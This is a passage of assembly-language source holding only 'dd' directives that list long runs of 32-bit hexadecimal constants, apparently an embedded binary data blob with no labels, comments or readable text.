25B242A2h, 27709759h, 3AA9AA98h, 0AA2417C0h dd 62ABFCC4h, 40862098h, 51F56E61h, 997690C7h, 3ECAB4C1h dd 14C09493h, 753A5E82h, 33BEB5B8h, 2B2390B1h, 51FB4321h dd 0F8895404h, 39696A13h, 0A67FE768h, 95CC435Fh, 0C10CC4AEh dd 9CD862Eh, 0C6086CACh, 3F2BC00Bh, 9D3FE81Bh, 7A156735h dd 0ED8404D3h, 0C8977238h, 0D7A76668h, 0A66368D4h, 0B73B17C4h dd 6E87E560h, 0D212AD30h, 8EF01A41h, 0DB1CE225h, 9706AF2h dd 0E22AD68Bh, 269B9985h, 751EC6B1h, 39BA158Ch, 8AE5CF2Dh dd 0E443B1B3h, 0DCB4B12Eh, 8FC11B34h, 0E0DD2FF2h, 380FDD5Ch dd 7220255h, 0DCCE36C1h, 5083AA89h, 8D575426h, 8C38269Fh dd 29D2E015h, 0F7E043F0h, 72B9C21Ch, 1E12A62Dh, 0B4C39FC6h dd 5925615Fh, 0A45C9CBBh, 0FE687E3Fh, 952C043Fh, 16EC463Eh dd 0B2346FC7h, 85AC0F64h, 595686EAh, 0D5BAE5B9h, 7B7BBE31h dd 648B6F1Ch, 46BAEAD5h, 0DD438905h, 5F5E4C1Ah, 938747A6h dd 0F7C6142Ah, 8137FB43h, 6E04548Dh, 4F5602C8h, 0DC24C1E2h dd 7A810C5Bh, 8A8A80AEh, 92520CBAh, 0A781AD2Bh, 4B980DBDh dd 1D05DBFBh, 2D117DB4h, 8EB6A6EAh, 7DEBE0EBh, 0F581BF07h dd 27B7ACB6h, 0C4AB715Ah, 19B6FFB3h, 8B8DE74Eh, 74C167FDh dd 0E56E126Dh, 0B593DD00h, 0B7B7AD76h, 1D0A64EEh, 15B423D6h dd 8E4E0D46h, 56D8EC0Fh, 0AEC4A985h, 0DC4B11BBh, 0B1AC4C0Eh dd 0B733E02Eh, 9F96AEDDh, 81BC793Eh, 0E457AB2Ch, 0D7D40F16h dd 27251447h, 6BD45324h, 0F84E1736h, 0AC32D9B4h, 34057AF5h dd 0BA9E2FBBh, 688D6085h, 1FEFBFABh, 9EFCB4DCh, 113D9A2Ah dd 5CE9425Eh, 45E8046Bh, 14E42F4Fh, 0B6B709BDh, 0BF4BBC39h dd 37166F82h, 9705C6D9h, 0FC9F816Fh, 0C7AC73F5h, 0A8F0566Ah dd 496F670Ah, 4397B91Ah, 3747E43Ah, 1F894A96h, 256D6B79h dd 4AB3EDFDh, 7A1D3EBFh, 0C561CBC7h, 0C6543147h, 7A95896Bh dd 303F1B64h, 0BA924B39h, 0C124E975h, 6CB42F77h, 362D5016h dd 34B40B44h, 3AB5523h, 57BC2E6Ch, 5B878BBAh, 0BA861DB5h dd 0B2824EEDh, 7E6830A6h, 40E3735Fh, 8BB80860h, 7FB9FADCh dd 1740E1ADh, 58A82FD1h, 0C8E435BAh, 0EC80AEAFh, 91B8AAE4h dd 0FEF54042h, 0DED4D720h, 12D17895h, 578BAE42h, 5F9F7D5Bh dd 3E282EFh, 0F93AF2FFh, 2D2C7F83h, 1781F545h, 7B2A155Ah dd 399BC082h, 84E7654Fh, 0B12B908h, 9EDA40B9h, 456D1C2Ah dd 84B61113h, 0E33598E9h, 7C548FFDh, 0F0699CD8h, 89FFC5FBh dd 0F9F3ADA5h, 0F42FBA7Ah, 62F861E2h, 109E95A3h, 494E46F3h dd 0D0DE559Bh, 599D0E2Dh, 2C881478h, 38E19ECFh, 0E6DF4BD3h dd 6ED504EEh, 0C1A32B7h, 0F1225BA6h, 0EACE54E4h, 3C966439h dd 0D1D46E6Eh, 48E613F0h, 0FDFEDDFCh, 0BE74067Dh, 547DEC7Bh dd 4B4956B7h, 0BB457EFDh, 11ECE0EEh, 3D7614BCh, 75EC4FB1h dd 66DAA4EDh, 9F6F7161h, 0A1939787h, 0FEEB9CA4h, 0E1B99223h dd 75A5F81Eh, 7F9A9D05h, 0C30B67F6h, 20848FE4h, 6173EA39h dd 0F9AEB6B1h, 626A96ECh, 0C921F8E2h, 4CD46AB0h, 0A731F025h dd 2965D370h, 719EFF3Bh, 2E2613E5h, 0F8462F71h, 4B59215Eh dd 7B64AB7h, 0D9CD8FA0h, 0EC819AA9h, 0CD65FE03h, 6D8E9BECh dd 67F30807h, 331F1EBh, 0F3734188h, 0F3CE29Ah, 0CC09BB9h dd 0B8E2685Eh, 8C5FF203h, 1974388Dh, 5A20F9BDh, 36A1D365h dd 0BB52156Fh, 0B4FA09EEh, 0F72CFB32h, 8B866DD2h, 0D2B86B6Ch dd 0EE002BB5h, 961C5CC3h, 0AF1FC77Ah, 3084A873h, 2E8562C8h dd 49F5D9AEh, 8699DA74h, 67BC3F15h, 0B7A7D11Ah, 0EA40B03Eh dd 3F870209h, 6EC4D548h, 0E15F8DAFh, 6F0B83EAh, 8D28908Ah dd 44981396h, 0BEA4FB88h, 0ACDF90C1h, 0B02F2BC0h, 4FD2DE2Ch dd 227EB0C4h, 7C942718h, 6A9D9A4Ah, 5A70567Ah, 5640D7A5h dd 6D5CE326h, 7C0C4517h, 0F62AD950h, 4032AF54h, 9877C31Bh dd 6BD0AC6Eh, 8BB2315h, 1B440791h, 0D8A92B51h, 0B67FC2EAh dd 6924E0D2h, 0F56640A4h, 690D0D69h, 736145C0h, 0A43CE062h dd 7E6F381Eh, 5B2253Eh, 0FDDA2C37h, 66ED6F9Fh, 6113F11Eh dd 4BB74C75h, 2C3E7806h, 65F9633h, 38125128h, 7EDC8DA2h dd 0D3E0DFFh, 0F1E37C3Dh, 871E3CBEh, 24941DECh, 6B2C5FF7h dd 86A757D5h, 0A52D7741h, 0BA0CAE3Fh, 17A37FBEh, 0AEDC97B9h dd 9FC4C096h, 0FDB51A02h, 8A94498Dh, 2F3851E3h, 39D7E7DAh dd 645C6300h, 0B7FB0677h, 0E6E156Ah, 6705FB3Fh, 0DD77834Fh dd 529BDF8Bh, 0FC3D525Eh, 5F60BF23h, 0F120ADF5h, 8237D1B0h dd 5E926C1Ch, 0F1A61961h, 0DA86AD16h, 8EA3F0EBh, 185D48A3h dd 6FDBEEE2h, 0AD7F7620h, 28DA2BEAh, 87416746h, 66F2CE11h dd 6065D9AEh, 90580FA0h, 73D28E39h, 0CB3A9908h, 73B9D5Ch dd 3F0FD576h, 4A2D19FEh, 0ED36CA9h, 7ED9DC66h, 472AF785h dd 0BDDF62FDh, 1F03380Dh, 8CA045F9h, 73EB41EBh, 32C539A0h dd 44E5C346h, 72C5E102h, 7D8C8F2h, 0C3F8E5h, 0CE7A5DE0h dd 7EF8DAD0h, 0D9FB9054h dd 0A19E9ABAh, 3A2594A5h, 4403EC89h, 9456F66Ah, 0CF07C107h dd 761E6F95h, 6AD1ECBEh, 637BAA2Ch, 1F3DE593h, 4F565938h dd 0F6FD2DBAh, 65348F93h, 8C0DECC0h, 67703CAFh, 1F87BB06h dd 78F6BE43h, 0F0D278C0h, 2E2AC749h, 485C4130h, 37390AA4h dd 2A32DA61h, 2CBFA732h, 59EC7BCCh, 0D20D6F01h, 5D3F2D2Fh dd 0C51D2FF7h, 0D1F3310Ah, 6F8EFD60h, 5D08A010h, 726E910Ch dd 93E3180Dh, 3B8F55A3h, 10FB4005h, 0AD4B11E7h, 5E7A89ADh dd 0CCA8404Ah, 0A740B35Dh, 3D81AC57h, 0BA7E8ED6h, 0A7D1259h dd 2C8C6322h, 94B52A4Ch, 0A5D2A771h, 30837AFh, 593D0A5Fh dd 247647D9h, 5D06FCA9h, 0D415531Ah, 5B32C862h, 5A84ECD7h dd 62752F20h, 1AFBF3E2h, 0C5A87ED4h, 0BF6BDD71h, 2D5D5F17h dd 0FD560BBDh, 8AC52C3Dh, 0D80E1872h, 0BF980816h, 5A1E25A2h dd 57E787C3h, 9FC5D313h, 9A72818h, 7C241C62h, 74DE0F01h dd 727ADCF7h, 8286B6EEh, 47A7DE40h, 0B0EB3DC2h, 706CAA0Ch dd 464EAAA2h, 4B7C622Ah, 189D9F12h, 826DA5FDh, 9CC698E0h dd 18DFD5F9h, 0B1E9DF29h, 6F9AD01Bh, 17B8604Dh, 0FA2AD2D9h dd 572825FBh, 6E175CDAh, 943F1106h, 953B8A79h, 0CC7A2ECEh dd 5A0CDEF4h, 0FB05F3C0h, 0F9CD74D8h, 62FFBDFCh, 0BA88BF3Dh dd 5ECCA545h, 5B051A95h, 35DCF547h, 0D6DB4F9Eh, 4CB5787Eh dd 0FA9F48A8h, 0DEDFB1E4h, 0C2544D0Bh, 0FFF75781h, 0E2EF26B9h dd 373AC47h, 6670B4D5h, 0F3789EE5h, 0E01769FBh, 9E646FCh dd 58572013h, 1DD58BB6h, 832BD3F0h, 0B2AA055Ah, 3BA43F01h dd 1FFE04BFh, 7E5B81FBh, 0F67397EBh, 797E7F37h, 7997FA17h dd 0E38AC62Ah, 139D50F3h, 3ACA8605h, 67DA1366h, 0EB4B33A6h dd 65F6D52Bh, 742C43EDh, 939EEA7Ah, 10B5A46Dh, 955E1342h dd 553B53EAh, 0FE053729h, 0FA49150Ah, 8FC60F90h, 5C031706h dd 0AFDBA7F9h, 507DAB9Bh, 0D7867860h, 0AB5A2856h, 0D84B15Ch dd 0EC0DDAE7h, 0BE86A320h, 95C010C6h, 7E676107h, 0CA5D978Ah dd 8C634514h, 7A6C50ACh, 0BD78B613h, 352B4F47h, 0CE1793h dd 0F72C4610h, 10FB4578h, 4318991h, 0FB65DECAh, 0EB4ADD37h dd 0F0651675h, 4F744144h, 0B17C1ACh, 0A9B877B2h, 3C48FB4Eh dd 1050C975h, 3E47052Ch, 3ACF450Fh, 0BEAC1E8Bh, 2AD558DEh dd 4F7753B4h, 40C9ED3Bh, 60DBE481h, 28351F2Bh, 0D855E244h dd 0CB9EDCFEh, 0EB0F6453h, 17130C4Bh, 6A390243h, 0BDFC5588h dd 0E7186EB9h, 0B1DA952Eh, 7FB2A92Ah, 0A6AADDC1h, 0F02A9E17h dd 9BBAA121h, 28B255D7h, 0EFE23C04h, 942A992Eh, 685AFE7Eh dd 0AAC48989h, 0AAFE15EFh, 942E97D6h, 54B31F0Ch, 97B160D3h dd 0ADDF9FDCh, 6D8B4355h, 0F74D6BF6h, 0B40968A7h, 0BF03375Eh dd 6FC3FD4Bh, 0DF470CD4h, 676534F2h, 6C1977BDh, 0D288C506h dd 4930229h, 0C04A8094h, 539883Dh, 0D08A2BA4h, 11903F18h dd 11574812h, 7114FA80h, 9509AE3Bh, 84C71F11h, 8F3027B9h dd 0C26608CAh, 7409811Dh, 0E80A2FD6h, 6185E84h, 3023D014h dd 0F9690F98h, 81518135h, 2809FDC2h, 80A64814h, 88F94185h dd 3C101618h, 240CE8F2h, 0D81BCC41h, 0A8C09A11h, 8D278D80h dd 0A8A0AB42h, 9440C082h, 58015982h, 388B3C7Ch, 0B382A8A6h dd 87A8B7C2h, 0FF3422A3h, 466EA40Ah, 8C09EE2h, 800EE8A4h dd 0E2E8C28Ah, 709CC07Ch, 79C17487h, 3027B8A2h, 2FA409Ch dd 90C6F4F4h, 620D1434h, 7518E3D1h, 424D4531h, 354638D1h dd 86346285h, 432C69F3h, 206A8553h, 798B1D17h, 6CB9DAF6h dd 0FF757652h, 17913B03h, 0C9C3CF2Dh, 94D87E2Fh, 0B651F605h dd 4DC7D314h, 0EE7FA7A4h, 0D050ECCAh, 0C3F094D9h, 8071FEB6h dd 153A882Eh, 0F63FB8BBh, 24921131h, 0E016C7C1h, 43DAB4BBh dd 185D8FB6h, 0F85305Fh, 2A4C4551h, 8DE9ABh, 0DA97AFE3h dd 898CE1E6h, 404A4977h, 3D93495Eh, 258B82E5h, 1579332Ah dd 11546FBCh, 0E6AD5DC0h, 0F570C52Bh, 84C230A7h, 0C73BC22Fh dd 2A2FC12Dh, 0EA86F784h, 37DF9F39h, 0C0CB79F9h, 9B92FF0Bh dd 0F74A0BF6h, 1DE77AE6h, 0F761EA22h, 5D23A82Eh, 0E559057Eh dd 0CA72060Bh, 3B8C3E36h, 8BEC7722h, 4B548FEFh, 16570C63h dd 5ABB4629h, 0F935BB32h, 0A7E12455h, 6BB17E1Fh, 0B9D606D2h dd 2D71D46Dh, 9F93EEAAh, 76DF6AAAh, 0EC232AA5h, 436A4D83h dd 5F865AABh, 4A82C108h, 2F557DBDh, 8942D5Eh, 4ABCFF4Ch dd 0F6F2DD5h, 0D6D45D84h, 0DAE1CABAh, 0C3D95806h, 0DFA1C7F2h dd 8039D27h, 0DC0D7E56h, 0E180EC17h, 7C044E67h, 4C596D1Ch dd 3B2E463Ch, 0AADCD775h, 0F1C3E23h, 0C7EF97E1h, 0FF7FD7E7h dd 0D87ED3FDh, 70BCD01Dh, 0DBD29BF6h, 0D4D6BB79h, 5031D761h dd 95D1D117h, 593268E4h, 9CC4D1B6h, 0F2DDE9BCh, 0ED44EBE6h dd 0ACF9E802h, 2F4F7B89h, 552466CBh, 383CF6EBh, 4FC4C977h dd 15D3A3B7h, 8573956Dh, 0AB955AE0h, 928F8A64h, 5F49FA8Ch dd 25A1D9CAh, 0FD768D85h, 357F37DAh, 0EAA02D14h, 0C4C1758Bh dd 0BC8B3A87h, 855B17F0h, 758B1BCFh, 0A31B4D8Ch, 0B91BC1F6h dd 0C0F22BD5h, 0A0E3D47h, 0A3778CEEh, 4B8BF830h, 0F4B85581h dd 48C22525h, 9C6833AAh, 0E7E32A8Bh, 800CEF7Ch, 0EBE7FA43h dd 0A8A2427h, 12A6CB70h, 0C3DB7E02h, 0BBAD325Fh, 18360F81h dd 2773C59h, 0DE43B5C0h, 9BF99C84h, 7787A697h, 0AAFE976Ah dd 0EA02BADFh, 6AF8BA76h, 1FE006D4h, 0DF034209h, 8B8C54EDh dd 1018D56Bh, 340839FAh, 0A18A81DDh, 0CD5E25C9h, 0C0F6A5DBh dd 6B64E9BEh, 530821DEh, 5FCC3F01h, 2198AD72h, 703C389Ah dd 540DA5BAh, 99643B25h, 5A465320h, 0DC2DD39Eh, 292E360Bh dd 0CAAEAAE7h, 0DA43F073h, 0CEBA926Dh, 0B40ECC6Ch, 0A7B6B4A0h dd 0AB621689h, 0E6B48BA9h, 0E37BFECEh, 0F0711B42h, 0DFBCCEDEh dd 0A0668EE2h, 0C3CB434Bh, 18CAF411h, 0E0FA381h, 0D1A6FEFDh dd 3F1C0DC8h, 0FDE2034Bh, 77906E57h, 95B58F22h, 0BD6CD253h dd 384AF5Dh, 95670C53h, 0D51E4B82h, 0AB485F0Bh, 0F2A81A8Eh dd 0E6DA2AF6h, 31C95FEDh, 0A6EE6FDDh, 499EE5AFh, 9C77B75Eh dd 2BCEFD0h, 0F04FE058h, 49B17FBFh, 3F2704A3h, 97FCD1A6h dd 156F3B93h, 0F56F16ABh, 2F550AF3h, 0BCD19396h, 0B04A95A3h dd 9F8B127Eh, 0B425C52Bh, 0AF61C672h, 261C075Ah, 0D3F18D6h dd 0E123FE54h, 3EFC5827h, 0B79FEF04h, 5E65C370h, 0BE3AACAAh dd 972CD6D1h, 7C14CCA2h, 834DBC9Dh, 607B047Dh, 0F6DE4AC6h dd 0E95EB547h, 31B45E62h, 0D8F6B690h, 2BDF5B42h, 8447322Ch dd 13FD3307h, 7A979E77h, 880A7C99h, 787E3AFDh, 0EF020586h dd 0CD5F1F28h, 0AE001105h, 1ECD1457h, 71870D1h, 0BB92546Fh dd 1C0C3FBEh, 3E6294DEh, 0E02844E5h, 28DA3918h, 5845D666h dd 3EE99A1Dh, 0C2B8CA96h, 0AF8AFDCDh, 7E96464Dh, 0F8E7EC31h dd 70FC340Fh, 0D4A1E44Ah, 2E3B52A3h, 0F89FDF41h, 4AE6F36Bh dd 656FB7EDh, 0A9E8BB8Fh, 48EACD68h, 185D8E82h, 0AC913A81h dd 280739EEh, 0C719FC28h, 4DFD3405h, 7564D251h, 0FC7D1073h dd 70F514D4h, 7610FF64h, 50FE1A10h, 2CFC7490h, 0B44BA17Ch dd 0BAE1CC55h, 9FD3DF27h, 0CEDD820Ah, 87C74646h, 0EB83CDADh dd 98B6D1C1h, 0F2D8272Bh, 0AC194D3Fh, 0DC7A1B71h, 133E8563h dd 7C28139h, 39449C9Ah, 2089D299h, 2A379EC4h, 0E7154E89h dd 0F42F8AECh, 0AE7AB139h, 5BA36190h, 54BDB6E5h, 0FA9EF5D9h dd 963E0C74h, 6A9329C4h dd 356AB3A1h, 37DA14EBh, 17F965F9h, 56E8997Eh, 179BC71Dh dd 2EBB5855h, 190FE6F0h, 93571F45h, 0ACF39585h, 0C0FA2CD1h dd 1BE4B07Dh, 2FA6EE94h, 8517F37Dh, 2446DEDBh, 1C7194D7h dd 0EFE38A95h, 3B16B0A8h, 0EF5A4AFDh, 84CA95E9h, 0B0F2D5DEh dd 0D1A0FBE9h, 5CF6FC4h, 786AD42Fh, 0DB6D1497h, 2AC7C87Bh dd 813C75A8h, 50081E1Ah, 0BF7CDC0Fh, 0BB5E6B39h, 322FF685h dd 0FDFE1911h, 79088FC3h, 90F6FB60h, 0A289645Bh, 8915FA5Bh dd 1EE3BDC0h, 41F0B44Dh, 55FA79B7h, 0B8AC0F8Bh, 4346B25Ah dd 0BEFC2565h, 99C2EA26h, 0D2167F5Bh, 0FC664FFh, 6B125DA9h dd 2F7A3DF4h, 0B437D9B3h, 0F9EBCE82h, 0F0CE4CAh, 0AD91EAABh dd 92846EBFh, 0B3EC17F8h, 49AD77DBh, 336F9565h, 300CE28Ch dd 89F1ED58h, 0F0ED669Fh, 0AFAACEC4h, 0B9CA30F2h, 0A73DBEA1h dd 0BA81C9BBh, 71BACAC4h, 0F8D57C08h, 0C3581D5h, 0AF6E7BEAh dd 0E295E4C5h, 2B882783h, 10A49275h, 73381EFDh, 0CBD7CED5h dd 97E0D1B9h, 1E5787EFh, 97B14A23h, 41334CE9h, 29E79DD9h dd 38CA5E71h, 344A62BBh, 1358AEDh, 85CA21E2h, 25BF982Bh dd 5BDE5920h, 0D11D99A5h, 0A8DCC0FDh, 0FC1F0C19h, 55268EF3h dd 1B973C0Fh, 4691AC85h, 4440B7CFh, 1D7BAAB4h, 6E2FFDD2h dd 75FC09EAh, 64574582h, 0FBF1DF93h, 66F84877h, 0F17166Bh dd 14FB195Dh, 6DA6D34Fh, 9D53899Dh, 585D343Eh, 0D6FF2C74h dd 0BCFAB31Dh, 0EA9D28FCh, 0ADAC5FE8h, 76DD6054h, 9E2C9E00h dd 207598F1h, 62F1D663h, 0CCF7E6AAh, 22FB9914h, 3F03C95Ch dd 0AB3EFF9Ah, 8DA29784h, 0C3D95AE1h, 95C0EE0h, 0E7B405DEh dd 9F4C27EAh, 36BACCEAh, 5A3B4EB7h, 4B7DEB4Bh, 950FC07h dd 0AA06FA75h, 27557614h, 0BA835DECh, 0EBAFF7F6h, 5A0DDE02h dd 9F9BC750h, 9CB3C616h, 1A456EC5h, 8177F534h, 77288388h dd 532308DFh, 2AAA18DFh, 22376229h, 3F46A0Ch, 0C42EDDC5h dd 2A6F825Ch, 0F8BA9A06h, 9F5D5386h, 7078B1A5h, 0D8BD06F7h dd 9B614BEBh, 8A4B94AFh, 0D069D201h, 6D9E81E6h, 0AA1F8381h dd 7A2FA57Ah, 52CF259Ah, 0D14A556Bh, 0A6FA69D5h, 8E6D92Eh dd 0D86C27D5h, 134B3EE1h, 0E07F517Ah, 7C04FBDCh, 0B6E7EFC0h dd 0F1CA6F1Ah, 781E983h, 8BC6CA87h, 0A95028E0h, 0D2EBB3BEh dd 60184E69h, 5B6A7874h, 0BD7003CEh, 0C63D57C5h, 0FE860557h dd 2150FC4Bh, 0FD1546F7h, 709C2F95h, 798DBF7Bh, 4045CFBCh dd 957AAFCDh, 1E9FCA6Ah, 0C4E67138h, 0EC6C2FF6h, 0F735FA20h dd 0B9ACD77h, 850423C3h, 753DD6A6h, 44514030h, 9CA29E93h dd 52DABC09h, 998CB607h, 0C3E5C254h, 0AD25F872h, 1C056292h dd 0BF8902E9h, 0CA9F0C2Ah, 8DE9CC85h, 3A9308EBh, 8D82BB35h dd 9D0BE237h, 4EFEDE28h, 0B90A446Dh, 131A4025h, 0FD7D6BDAh dd 77E20EC5h, 49C6235Bh, 60B4A062h, 0D759E933h, 0DF4C0FCAh dd 9399E45Dh, 4BF0BBF6h, 293E0958h, 24A8672Dh, 5219168h dd 0E25A2B0Ah, 27431224h, 562015FBh, 0FBF1752Fh, 0C60F9540h dd 85F09768h, 0F535CAECh, 5E8DE079h, 1D355BC6h, 0A8ED78ABh dd 0FC1E0448h, 0D7B7B34h, 0BD5E578Ch, 0AA53BA01h, 20BAD69Dh dd 0B397358h, 0C03F92EDh, 0B7CEC3F1h, 0D4F933D8h, 878FF35Ch dd 29D41DE9h, 0B28B99F8h, 0DCC288AAh, 1BB746B8h, 0E9244191h dd 67106812h, 86242220h, 8A1D2D58h, 99819834h, 0EAEA55DBh dd 440F0F4Dh, 0A33C2472h, 39D3CFB0h, 7D676BF6h, 83DA0C67h dd 0B1D16DA3h, 0B71A0635h, 2E9F1E1Fh, 8FD9F29Ch, 192AD57Ah dd 98E96561h, 0F8BE33B3h, 90A30845h, 0D2BAC0F0h, 26B8EE16h dd 0E973EDBBh, 0EAB9609Fh, 0AA780AF8h, 64005DA6h, 0E625DEC2h dd 80AFBAE2h, 0E23152A8h, 0BAE154EAh, 9BC9B682h, 0EA6DEADh dd 0C1DA25D8h, 970576EBh, 3635BFC8h, 0B6079103h, 0D84808AFh dd 9FF4114Dh, 76FF3AB0h, 832FC5F7h, 3362EB76h, 40ABFB86h dd 43CDF0D7h, 0AA85DC3Dh, 6A1FAD7Ch, 0DF45C38Bh, 777787E2h dd 6BCA9823h, 4C254AD1h, 1BB14964h, 0D5A11296h, 48D4804Dh dd 4EF867B6h, 3E1C5F16h, 0BB81F051h, 0FA47A86Ah, 3D90A6BDh dd 259A6DB5h, 605C7D76h, 8721ACEBh, 83B3FD6Ch, 2FE194EAh dd 0D0D9CEF3h, 70491FC0h, 94D1FDE6h, 0FAE7F215h, 0BCFA958Dh dd 5312AD00h, 828DB477h, 0A1EE86E0h, 7E9F4C9Bh, 0FDA86B1Ah dd 0AC04BCC5h, 0D46B20AEh, 0DBC7078Ah, 0BD1B1492h, 0AF54B290h dd 44B9AC8Ch, 6ABA3423h, 0CB973C92h, 0CA47AA2Bh, 2A8DCCFAh dd 0EE06DC66h, 9223568Ch, 0ED29F426h, 69D6078Fh, 0D4E2786Dh dd 405BA7CCh, 0BFDC07F9h, 0E99940A6h, 5AF6BD60h, 79D6FCBCh dd 0F36E5F8Dh, 61BDBA95h, 0A4D97355h, 0BDB4287Eh, 0B08BA9Bh dd 0B8B99C9Dh, 0D80F1DF9h, 5D0E9256h, 4DBFB137h, 0C9F175A3h dd 1AD1C3B5h, 0CBEE21Ah, 0BECFD8D5h, 65FFBAA2h, 322A0D28h dd 0EBBFA1Dh, 557FB459h, 4F62A407h, 0BAB91832h, 6067150Ah dd 2AAA7CDDh, 1EFABF79h, 31969934h, 5171C7F3h, 28A87071h dd 0D40C4D40h, 0BFC787ABh, 0F4492187h, 0F8A6F1B0h, 5A563C65h dd 1F412098h, 4179E5B5h, 9C5C1708h, 0FCEB9B7Eh, 707FF636h dd 6EA9B78Eh, 0A8077F81h, 17512A68h, 83EFDC75h, 3B139997h dd 3980B33Bh, 0D884CD6Ch, 8B7F9007h, 5ECFB1C2h, 0B1DD9119h dd 551E5AD1h, 0D77C4B6Dh, 3C60A1A5h, 0FE868167h, 0B5D66F74h dd 0D96FF827h, 62177E04h, 8859236Fh, 0E21DDACFh, 0AAE33674h dd 0BE404189h, 0EC024F27h, 0E78B8242h, 0E6744285h, 0A7AFB9FBh dd 9F8AE071h, 7420202Bh, 0E5C10525h, 564CBC06h, 0D1E5938Dh dd 2984869h, 6754FEE7h, 5CCA2128h, 3B471CB5h, 9ED1DFA8h dd 0A772B675h, 969B65BAh, 8DAA43CEh, 1598286Fh, 9507DBCDh dd 0E74142A5h, 68995B39h, 5E3738EAh, 0AE11400Bh, 0B4AB9F4Dh dd 0B7E3389Dh, 4BA79C26h, 0F62D10C7h, 2512CCEDh, 0E49BBDCEh dd 7C565E8h, 0CE3645F9h, 5D8E7543h, 0E85F8589h, 0BBFC616Bh dd 0BCACDCD8h, 62EF4F8Ah, 0FC2F2AB7h, 0BB92EDh, 0BC8BBBD3h dd 0C9D812ADh, 383F9ECh, 0AB2B1B16h, 7B441559h, 6DBB3B5Eh dd 1FDFAB81h, 0E47466DCh, 0FF86EE85h, 0DEC4D8A4h, 7CA0348Bh dd 7025F4E7h, 212B8AA0h, 225A275Eh, 4CAFC56Fh, 3B875B06h dd 0C9C4DB7Ah, 89E78C33h, 91BFA6FDh, 0F8F52E25h, 465405BDh dd 0B873D2B3h, 0BE6B63CBh, 2922C0F8h, 0EA3FAE34h, 6783C38Ah dd 1A290BFAh, 4C300FA7h, 3B7A374Ah, 1B9EA36Ah, 0BD2ADC7Ah dd 2A84E3BCh, 0A4861523h, 0D0BBE814h, 0DAFF243Fh, 1F52E6A1h dd 3BF701AEh, 0A288DFE6h, 295B5589h, 75303F89h, 152B9050h dd 0B77B905h, 5928EE51h, 370541D3h, 11FA4628h, 0EE79DC08h dd 4E7303C9h, 9473AADCh, 77F8FD3Fh, 39F5FC72h, 6E6D86B6h dd 7DDF3B6h, 42B355BCh, 27E80C51h, 8EEF2C98h, 9F68662Eh dd 0A73C2994h, 89E01D36h, 9BC1460Bh, 6FE0176Ah, 0D6764EBEh dd 0CB83C786h, 0B8436BA8h, 9C3C3AF1h, 1DF5913Ch, 0F38D4DEh dd 8C1B6D9Bh, 0ADC613EDh, 3B3A461Bh, 6EA339E2h, 9FDC8D01h dd 0F3086DA0h, 5A7B36F5h, 2D628BE9h, 5C9FDF18h, 2096EC54h dd 1F036FE7h, 38057A8Ah, 0A1C5B575h, 0C163F145h, 8568575Ah dd 89B5F900h, 20FA3ED4h, 0E954E2B8h, 0DD7E15C3h, 6F1395Ah dd 9DB8E1FEh, 6AF475F1h, 9F28CE87h, 79107C4Bh, 0A20A0376h dd 0DFC01357h, 0F6A34AF3h, 0AF489107h, 0CE568B70h, 0D4862BA5h dd 420BD99Fh, 6BF4E0D4h dd 41C349D8h, 50B1B513h, 0C0DF7F0h, 0EF945024h, 69FB2355h dd 0F47CA3EEh, 854431B9h, 997556CCh, 0CFA4E5C3h, 6B3E053Eh dd 0EBE48CCEh, 0F71DCF8Eh, 0BB01DABDh, 41DE2B45h, 2459A808h dd 16661F88h, 390308C9h, 6411C76Bh, 0CF1F55C0h, 4015EBDh dd 9ECD422h, 87D3EAE5h, 8A7B6A4Eh, 6D512572h, 0D5BB1DB5h dd 0F49F6061h, 0EED644ABh, 618BF567h, 1E70A26Ah, 9352AE1Fh dd 0E6931BF6h, 24556EFh, 342AB9AEh, 0B7C477B6h, 0F98C0F7Ah dd 7D90FE68h, 96404A96h, 2FACE14Dh, 0F577EB66h, 5D441AE3h dd 0DB6E26DBh, 0D7971360h, 71D5E69Dh, 29F0D575h, 5D3594B4h dd 6C26AB7Dh, 0A7E7DD0Fh, 3FF77F3Dh, 8CE2D732h, 0BE208D96h dd 46388A07h, 4FF9D16Fh, 0A20162EBh, 9399FA7Ch, 0A1BC1850h dd 2EF3CB3Eh, 0FC6A163Eh, 0D1234BE7h, 0D87E325h, 0AE66181Eh dd 0F0E8145h, 0EE6FA65Bh, 0F2FD487Eh, 3E1D21Fh, 0FE05FC4Ch dd 393C57DAh, 5B2D0572h, 0A7F24BFDh, 9C5CB0BBh, 6C897F51h dd 0FAEEFE0Eh, 5FE5E48Bh, 0FA61B2AEh, 241940E6h, 25755D04h dd 0A83EF5Fh, 0D51B45AFh, 798ECA2Ah, 0DCA439B1h, 1238D3E5h dd 0F8BAB804h, 0D81E0737h, 99C2C102h, 0AEB71C2Dh, 17EE820Bh dd 0A0826BF6h, 6BAD603Eh, 0B19A9F48h, 0D237F7A6h, 0BC3B8AF7h dd 0ECFA90DCh, 0C3A3DF3h, 0B678DFC7h, 0C1DF1F12h, 0C0BB9CA8h dd 0B4CDF2E2h, 747DF857h, 472B4BD5h, 0AECCF815h, 6B468733h dd 96E7D7B0h, 3E6C7CA7h, 5B2F2FC6h, 0BCD3A813h, 17126A5Bh dd 95B54ED1h, 858FDE26h, 0AAB9AC52h, 0B41F0E21h, 76FF331Dh dd 0F5008C4Dh, 0F392DE2Dh, 0EC948164h, 9BC08547h, 8CA3692Dh dd 7E813EF5h, 0D7FB9AD3h, 48313195h, 3613A1DEh, 0AF62C8ABh dd 0CC6CFA80h, 0C9A6EC0Dh, 54703D1h, 0BB2AB321h, 831EEF3h dd 0ECFC8B8Bh, 0D795551Ah, 4E1C05D3h, 91B45898h, 9E2D7438h dd 0BBD6532Dh, 0D09BFC76h, 1EEA0C5Ch, 0DD8F0F0Bh, 0EF739EE9h dd 6754DF47h, 6480E71Ah, 0F1BC7810h, 0C8C8838Fh, 0D1DEB46Fh dd 66EF6B34h, 0F742FE82h, 0E3EF08B3h, 0E745E9BBh, 1399D5FAh dd 6080B705h, 0ADD241A7h, 0EF0156B9h, 5CE66F65h, 8DCCF195h dd 0C91E36D8h, 1B5F1D8Ch, 9E04045Eh, 19C00AF4h, 7BD76B74h dd 77236C25h, 1791D8F1h, 0A4613527h, 0F2733D78h, 102F138h dd 0D647EFDh, 74B65128h, 7AA8CA29h, 4D8D1263h, 0BD8A07B7h dd 734581FCh, 0D67B5295h, 698B405Bh, 3AA5916Fh, 0EFA168B2h dd 0F426911Ah, 0C607E1B5h, 987D543Eh, 3917DF75h, 0FDFB3AECh dd 7597008Ah, 95A32DA0h, 27AA5F43h, 0E3FD94D3h, 69C4C2D3h dd 0CD8D6695h, 4B128038h, 7CEB5E2Fh, 0EAAA78CAh, 98A781FEh dd 661D8553h, 